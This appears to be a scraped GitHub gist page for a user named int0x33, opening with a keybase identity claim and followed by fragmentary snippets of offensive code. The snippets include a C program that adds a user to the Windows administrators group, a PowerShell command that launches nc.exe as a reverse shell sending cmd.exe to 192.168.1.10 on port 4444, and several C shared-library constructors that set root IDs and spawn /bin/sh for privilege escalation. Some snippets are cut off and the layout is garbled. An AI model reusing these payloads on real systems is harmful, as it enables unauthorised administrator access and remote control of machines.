I hereby claim:
- I am int0x33 on github.
- I am int0x33 (https://keybase.io/int0x33) on keybase.
- I have a public key ASCfPw27tiAPkGwjBolUP8VNr5weJ8uVmkc0fnov9NqebAo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/types.h> | |
| #include <sys/stat.h> | |
| #include <fcntl.h> | |
| #include <sys/mman.h> | |
| #include <stdint.h> | |
| #include <sys/ioctl.h> | |
| #include <unistd.h> |
| #include <stdlib.h> | |
| int main () | |
| { | |
| int i; | |
| i=system ("net localgroup administrators $lowprivUser /add"); | |
| return 0; | |
| } |
| $username = '<username here>' | |
| $password = '<password here>' | |
| $securePassword = ConvertTo-SecureString $password -AsPlainText -Force | |
| $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword | |
| Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public |
| 0 | |
| 1 | |
| 11 | |
| 12 | |
| 13 | |
| 14 | |
| 15 | |
| 16 | |
| 17 | |
| 2 |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| static void inject() __attribute__((constructor)); | |
| int random_token = 333; | |
| void inject(){ | |
| setgid(0); | |
| setuid(0); | |
| execl("/bin/sh","sh",0); |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| static void inject() __attribute__((constructor)); | |
| void inject(){ | |
| setgid(0); | |
| setuid(0); | |
| execl("/bin/sh","sh",0); | |
| } |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| static void inject() __attribute__((constructor)); | |
| int welcome = 333; | |
| void inject(){ | |
| setgid(0); | |
| setuid(0); | |
| execl("/bin/sh","sh",0); |